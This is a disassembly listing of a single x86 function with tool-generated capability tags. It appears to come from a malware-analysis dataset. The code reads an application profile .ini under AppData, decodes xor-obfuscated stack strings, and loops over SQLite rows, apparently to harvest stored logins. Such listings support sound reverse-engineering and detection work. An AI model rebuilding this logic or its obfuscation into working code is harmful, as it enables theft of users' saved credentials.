Function at 0x4348e0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Encode data using xor
Get common file path
Get file attributes
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5068be
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x17f0
push ebx
call fcn.004dde10
push esi
mov esi, ecx
mov dword [ebp - 0x1e4], esi
push edi
mov dword [ebp - 0x1dc], 0
push ecx
mov dword [ebp - 4], 3
call fcn.00463c80
sub esp, 0x10
mov dword [ebp - 0x1dc], 1
mov ecx, esp
mov dword [ebp - 0x24], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00463c50
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x434e474b
mov dword [ebp - 0x18], 0x1005f45
call fcn.00410550
push eax
mov ecx, esi
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.004638d0
push 0x104
lea eax, [ebp - 0x800]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x800]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 8]
push eax
lea edx, [ebp - 0x800]
lea ecx, [ebp - 0x3f4]
call fcn.00469c10
add esp, 4
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0x455b587b
mov dword [ebp - 0x1b3], 0x4b41454d
mov dword [ebp - 0x1af], 0x5c581e5c
mov word [ebp - 0x1ab], 0x5a
mov byte [ebp - 0x1a9], 1
call fcn.0040a710
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x360]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 6
call fcn.004027a0
push eax
push 0x1000
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x1800]
mov dword [ebp - 0x1e0], edi
push 7
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0xd9], 0x4c465a77
mov dword [ebp - 0xd5], 0x484042
mov byte [ebp - 0xd1], 1
call fcn.0040b8b0
push eax
push edi
call fcn.004ea68e
add esp, 0xc
test eax, eax
jne 0x436317
push 0x104
push eax
lea eax, [ebp - 0x6f8]
push eax
call fcn.004df090
add esp, 0xc
lea ecx, [ebp - 0x360]
call fcn.004027a0
lea ecx, [ebp - 0xa3]
mov dword [ebp - 0xa3], 0x425d4977
mov esi, eax
mov word [ebp - 0x9f], 0x100
call fcn.0040b880
push esi
push 0x104
lea ecx, [ebp - 0x6f8]
push ecx
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x55]
mov word [ebp - 0x55], 0x7b
mov byte [ebp - 0x53], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x338]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x6f8]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 9
call fcn.00402660
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], 0x4d46447b
mov dword [ebp - 0x1a4], 0x5e4242
mov dword [ebp - 0x1a0], 0x5c5e4345
mov word [ebp - 0x19c], 0x100
call fcn.0040eed0
push eax
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x378]
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x7e]
mov dword [ebp - 0x7e], 0x1004a55
call fcn.0040a420
lea ecx, [ebp - 0x378]
mov esi, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2f00
add esp, 8
test eax, eax
jne 0x434edc
movaps xmm0, xmmword [str.__MECC_]
lea ecx, [ebp - 0x1fd]
movups xmmword [ebp - 0x1fd], xmm0
mov byte [ebp - 0x1ed], 1
call fcn.0040ee40
push eax
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x390]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0xb
call fcn.004027a0
lea edx, [ebp - 0x224]
mov ecx, eax
call fcn.00414540
test eax, eax
jne 0x434ecc
movaps xmm0, xmmword [0x525e30]
lea ecx, [ebp - 0x3dc]
movups xmmword [ebp - 0x3dc], xmm0
mov dword [ebp - 0x39c], 0x3513070a
movaps xmm0, xmmword [0x525920]
movups xmmword [ebp - 0x3cc], xmm0
mov dword [ebp - 0x398], 0x70a0307
movaps xmm0, xmmword [0x525370]
movups xmmword [ebp - 0x3bc], xmm0
mov dword [ebp - 0x394], 0x1000301
movaps xmm0, xmmword [0x525c80]
movups xmmword [ebp - 0x3ac], xmm0
call fcn.00436560
mov edi, dword [ebp - 0x224]
mov edx, eax
push ecx
lea ecx, [ebp - 0x1ec]
push ecx
push ecx
mov ecx, edi
call fcn.004c28f0
add esp, 0xc
test eax, eax
jne 0x434ec5
mov esi, dword [ebp - 0x1ec]
mov ecx, esi
call fcn.0049f0e0
cmp eax, 0x64
jne 0x434ebe
xor edx, edx
mov ecx, esi
call fcn.0049f8f0
mov edi, eax
mov edx, 1
mov ecx, esi
mov dword [ebp - 0x220], edi
call fcn.0049f8f0
mov ecx, dword [ebp - 0x1ec]
mov esi, eax
mov edx, 2
mov dword [ebp - 0x24], esi
call fcn.0049f8f0
mov dword [ebp - 0x20], eax
test edi, edi
je 0x434ceb
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x434ce0
sub edi, ecx
jne 0x434d05
test esi, esi
je 0x434ea2
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x434cf6
sub esi, ecx
je 0x434ea2
push ecx
lea ecx, [ebp - 0x2d8]
call fcn.00463c80
sub esp, 0x10
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x6f8]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0046a860
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xe2]
mov dword [ebp - 0xe2], 0x4c465a57
mov dword [ebp - 0xde], 0x484042
mov byte [ebp - 0xda], 1
call fcn.0040b8b0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.004638d0
sub esp, 0x10
lea eax, [ebp - 0x20]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a750
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x93]
mov dword [ebp - 0x93], 0x455a52
mov byte [ebp - 0x8f], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.004638d0
sub esp, 0x10
lea eax, [ebp - 0x220]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a750
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0x434e474b
mov word [ebp - 0xa6], 0x45
mov byte [ebp - 0xa4], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.004638d0
sub esp, 0x10
lea eax, [ebp - 0x24]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a750
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x13a]
mov dword [ebp - 0x13a], 0x595a4957
mov dword [ebp - 0x136], 0x4a5f435c
mov word [ebp - 0x132], 0x100
call fcn.0040ee70
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.004638d0
mov dword [ebp - 0xc8], 0x434e474b
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc4], 0x1005f45
call fcn.00410550
mov ecx, dword [ebp - 0x1e4]
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x2d8]
push ecx
mov ecx, eax
call fcn.00463230
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 0xb
call fcn.004638b0
mov esi, dword [ebp - 0x1ec]
mov ecx, esi
call fcn.0049f0e0
cmp eax, 0x64
je 0x434ca1
mov edi, dword [ebp - 0x224]
mov ecx, esi
call fcn.0049efd0
mov ecx, edi
call fcn.00414970
lea ecx, [ebp - 0x390]
call fcn.00402660
jmp 0x43627a
push eax
call fcn.004e6788
sub esp, 0x14
lea eax, [ebp - 0x378]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x390]
call fcn.0040b8e0
sub esp, 0x10
mov byte [ebp - 4], 0x11
mov eax, esp
lea edx, [ebp - 0x390]
lea ecx, [ebp - 0x418]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.0046a250
add esp, 0x30
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xd0], 0x434e474b
mov dword [ebp - 0xcc], 0x1005f45
call fcn.00410550
push eax
lea ecx, [ebp - 0x418]
call fcn.00469ec0
mov ecx, eax
lea eax, [ebp - 0x240]
push eax
call fcn.00463490
lea eax, [ebp - 0x404]
push eax
call fcn.00463420
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x240]
call fcn.00462a50
test al, al
je 0x435898
lea eax, [ebp - 0x1e5]
mov dword [ebp - 0x340], eax
lea ecx, [ebp - 0x240]
call fcn.00462b60
push eax
lea ecx, [ebp - 0x288]
call fcn.00463910
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.00467810
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x260], xmm0
mov byte [ebp - 0x268], 3
call fcn.004dce31
mov edi, eax
add esp, 4
mov dword [ebp - 0x33c], edi
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x6f8]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435010
sub ecx, edx
lea eax, [ebp - 0x6f8]
push ecx
push eax
mov ecx, edi
call fcn.00402830
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x260], edi
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov dword [ebp - 0x34], 0x4c465a57
mov dword [ebp - 0x30], 0x484042
mov byte [ebp - 0x2c], 1
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x435050
mov al, byte [ebp - 0xc0]
mov byte [ebp - 0x2c], 0
test al, al
jne 0x43509a
push 1
lea ecx, [ebp - 0x348]
mov byte [ebp - 0xc0], 1
call fcn.00467810
mov esi, dword [ebp - 0x348]
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], eax
jmp 0x4350a8
cmp al, 1
jne 0x4364ed
mov esi, dword [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x2e0], 0
lea edx, [ebp - 0x34]
mov dword [ebp - 0x2dc], 0
movups xmmword [ebp - 0x2f0], xmm0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4350d0
sub edx, ecx
lea eax, [ebp - 0x34]
push edx
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00402830
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x18
push eax
mov ecx, esi
call fcn.0046cfd0
mov byte [ebp - 4], 0x17
mov esi, eax
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0x10
jb 0x43513b
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435131
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x268], al
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x260], ecx
lea ecx, [ebp - 0x268]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x25c], edx
call fcn.004638b0
mov dword [ebp - 0x7a], 0x475b4741
xor ecx, ecx
mov dword [ebp - 0x76], 0x434f5978
mov dword [ebp - 0x72], 0x60644446
mov word [ebp - 0x6e], 0x7f
mov byte [ebp - 0x6c], 1
nop
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 0xd
jb 0x4351b0
lea eax, [ebp - 0x7a]
mov byte [ebp - 0x6c], 0
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
cmp byte [eax], 0
je 0x435296
lea ecx, [ebp - 0x1c6]
mov dword [ebp - 0x1c6], 0x475b4741
mov dword [ebp - 0x1c2], 0x434f5978
mov dword [ebp - 0x1be], 0x60644446
mov word [ebp - 0x1ba], 0x7f
mov byte [ebp - 0x1b8], 1
call fcn.0040a710
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
cmp byte [eax], 3
jne 0x435296
sub esp, 0x10
mov dword [ebp - 0x1d5], 0x475b4741
lea ecx, [ebp - 0x1d5]
mov dword [ebp - 0x1d1], 0x434f5978
mov dword [ebp - 0x1cd], 0x60644446
mov esi, esp
mov word [ebp - 0x1c9], 0x7f
mov byte [ebp - 0x1c7], 1
mov dword [ebp - 0x14], esp
call fcn.0040a710
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
push eax
mov ecx, esi
call fcn.00463910
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x98], 0x455a52
mov byte [ebp - 0x94], 1
jmp 0x4352f5
sub esp, 0x10
mov dword [ebp - 0x108], 0x5e5a474f
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x104], 0x4b404d45
mov word [ebp - 0x100], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040ee70
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
push eax
mov ecx, esi
call fcn.00463910
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x9d]
mov dword [ebp - 0x9d], 0x455a52
mov byte [ebp - 0x99], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00469ec0
mov ecx, eax
mov byte [ebp - 4], 0x15
call fcn.004638d0
movaps xmm0, xmmword [0x526560]
xor ecx, ecx
movups xmmword [ebp - 0x1ff], xmm0
mov word [ebp - 0x1ef], 0x52
mov byte [ebp - 0x1ed], 1
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x1ff], al
inc ecx
cmp ecx, 0x11
jb 0x435331
lea eax, [ebp - 0x1ff]
mov byte [ebp - 0x1ed], 0
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.0046a000
mov edx, eax
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x52], 0x1c6a6662
mov dword [ebp - 0x4e], 0x71071e1c
mov word [ebp - 0x4a], 0x100
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 8
jb 0x435385
push edx
lea edx, [ebp - 0x52]
mov byte [ebp - 0x49], 0
lea ecx, [ebp - 0x338]
call fcn.00469c70
mov esi, eax
sub esp, 0xc
mov byte [ebp - 4], 0x1e
mov edi, esp
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
push 0x18
movq qword [edi + 8], xmm0
mov byte [edi], 3
call fcn.004dce31
xorps xmm0, xmm0
add esp, 4
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [eax], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [eax + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x22c]
mov dword [edi + 0xc], eax
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0x2b], 0x434e474b
mov word [ebp - 0x27], 0x45
mov byte [ebp - 0x25], 1
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 5
jb 0x435421
mov al, byte [ebp - 0xc0]
mov byte [ebp - 0x25], 0
test al, al
jne 0x43546b
push 1
lea ecx, [ebp - 0x230]
mov byte [ebp - 0xc0], 1
call fcn.00467810
mov esi, dword [ebp - 0x230]
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], eax
jmp 0x435479
cmp al, 1
jne 0x436495
mov esi, dword [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2f8], 0
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4354a0
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.00402830
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0x20
push eax
mov ecx, esi
call fcn.0046cfd0
mov byte [ebp - 4], 0x1f
mov esi, eax
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0x10
jb 0x43550b
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435501
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, esi
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
mov byte [ebp - 4], 0x1e
call fcn.004638d0
lea ecx, [ebp - 0x338]
call fcn.00402660
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 0x15
call fcn.00402660
movaps xmm0, xmmword [0x525bb0]
lea ecx, [ebp - 0x1ff]
movups xmmword [ebp - 0x1ff], xmm0
mov word [ebp - 0x1ef], 0x53
mov byte [ebp - 0x1ed], 1
call fcn.0040ab70
push eax
lea ecx, [ebp - 0x288]
call fcn.00469ec0
lea ecx, [ebp - 0x338]
push ecx
mov ecx, eax
call fcn.0046a000
mov edx, eax
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x48], 0x1c6a6662
mov dword [ebp - 0x44], 0x71071e1c
mov word [ebp - 0x40], 0x100
nop word [eax + eax]
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 8
jb 0x4355b0
push edx
lea edx, [ebp - 0x48]
mov byte [ebp - 0x3f], 0
lea ecx, [ebp - 0x21c]
call fcn.00469c70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x270], xmm0
mov byte [ebp - 0x278], 3
call fcn.004dce31
mov edi, eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x22c]
add esp, 4
mov dword [ebp - 0x270], edi
mov dword [ebp - 0x26c], eax
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x3e], 0x595a4957
mov dword [ebp - 0x3a], 0x4a5f435c
mov word [ebp - 0x36], 0x100
nop dword [eax]
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x3e], al
inc ecx
cmp ecx, 8
jb 0x435660
xorps xmm0, xmm0
mov byte [ebp - 0x35], 0
lea edx, [ebp - 0x3e]
mov dword [ebp - 0x310], 0
movups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x30c], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x435696
sub edx, ecx
lea eax, [ebp - 0x3e]
push edx
push eax
lea ecx, [ebp - 0x320]
call fcn.00402830
lea eax, [ebp - 0x320]
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x20]
push eax
call fcn.0046cfd0
mov byte [ebp - 4], 0x25
mov esi, eax
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x435702
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4356f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x278], al
mov eax, dword [esi + 8]
mov dword [ebp - 0x26c], ecx
lea ecx, [ebp - 0x278]
mov dword [esi + 8], edi
mov dword [esi + 0xc], edx
mov dword [ebp - 0x270], eax
call fcn.004638b0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x43578f
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435785
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
cmp ecx, 0x10
jb 0x4357e8
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4357de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov dword [ebp - 0x1c], 0x434e474b
xor eax, eax
mov dword [ebp - 0x18], 0x1005f45
lea ecx, [eax + 0x27]
xor byte [ebp + eax - 0x1c], cl
inc eax
cmp eax, 6
jb 0x4357f8
mov ecx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x15], 0
call fcn.00469ec0
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.00463230
lea ecx, [ebp - 0xc0]
call fcn.004638b0
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 0x12
call fcn.004638b0
mov eax, dword [ebp - 0x240]
movzx eax, byte [eax]
sub eax, 1
je 0x435864
sub eax, 1
je 0x43585b
inc dword [ebp - 0x234]
jmp 0x43587e
add dword [ebp - 0x238], 0x10
jmp 0x43587e
mov eax, dword [ebp - 0x23c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], eax
call fcn.004672c0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x240]
call fcn.00462a50
test al, al
jne 0x434f95
mov dword [ebp - 0x6b], 0x4b5c797b
xor ecx, ecx
mov dword [ebp - 0x67], 0x43585845
mov dword [ebp - 0x63], 0x40547370
mov dword [ebp - 0x5f], 0x1004747
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0xe
jb 0x4358b6
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x5c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4358d0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x43654b
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x6b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a0]
call fcn.0046d850
or dword [ebp - 0x1dc], 2
mov byte [ebp - 4], 0x29
lea esi, [ebp - 0x2a0]
cmp dword [ebp - 0x28c], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x2a0]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x436545
test esi, esi
je 0x435996
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435950
sub ecx, edx
je 0x435996
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x435981
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x435981
cmp eax, 0x20
je 0x435981
cmp eax, 0x45
je 0x435981
cmp eax, 0x24
jne 0x435996
push 0x536240
call fcn.004dc3c4
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 4
jmp 0x4359c1
push 0x536240
call fcn.004dc3c4
add esp, 4
lea ecx, [ebp - 0x2a0]
push 0
call fcn.004027a0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x4361d8
xorps xmm0, xmm0
mov byte [ebp - 0x2a4], 0
lea ecx, [ebp - 0x5f0]
movups xmmword [ebp - 0x2c4], xmm0
movups xmmword [ebp - 0x2b4], xmm0
call fcn.00480d50
lea ecx, [ebp - 0x6f8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4359f0
sub ecx, edx
lea eax, [ebp - 0x6f8]
push ecx
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00480d90
push ecx
lea ecx, [ebp - 0x5f0]
call fcn.00480e60
cmp byte [ebp - 0x554], 0
je 0x435a49
movups xmm0, xmmword [ebp - 0x543]
mov al, byte [ebp - 0x523]
mov byte [ebp - 0x2a4], al
movups xmmword [ebp - 0x2c4], xmm0
movups xmm0, xmmword [ebp - 0x533]
movups xmmword [ebp - 0x2b4], xmm0
lea ecx, [ebp - 0x58]
mov word [ebp - 0x58], 0x78
mov byte [ebp - 0x56], 1
call fcn.0040a410
lea ecx, [ebp - 0x5b]
mov word [ebp - 0x5b], 0x7b
mov esi, eax
mov byte [ebp - 0x59], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x488]
call fcn.00469b50
add esp, 4
lea ecx, [ebx + 0x38]
mov byte [ebp - 4], 0x2a
push ecx
mov edx, eax
lea ecx, [ebp - 0x470]
call fcn.00469d70
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x338]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x2c
push ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x338]
call fcn.00402660
lea ecx, [ebp - 0x470]
call fcn.00402660
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x30
call fcn.00402660
lea ecx, [ebp - 0x204]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
jne 0x435b1f
push 0
lea ecx, [ebp - 0x204]
call fcn.004027a0
push eax
call edi
test eax, eax
je 0x4361cd
sub esp, 0x18
mov dword [ebp - 0x112], 0x534c437b
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x10e], 0x4c490218
mov word [ebp - 0x10a], 0x100
mov esi, esp
call fcn.0040ee70
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
call fcn.0040bf00
add esp, 0x18
test al, al
je 0x435cc0
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x82], 0x1004a50
call fcn.0040a420
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x534c437b
mov esi, eax
mov dword [ebp - 0x118], 0x4c490218
mov word [ebp - 0x114], 0x100
call fcn.0040ee70
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.00469b50
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2f00
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x435cc0
sub esp, 0x18
mov dword [ebp - 0xeb], 0x19504d4c
lea ecx, [ebp - 0xeb]
mov dword [ebp - 0xe7], 0x4f4805
mov byte [ebp - 0xe3], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040b8b0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0x534c437b
mov dword [ebp - 0x122], 0x4c490218
mov esi, esp
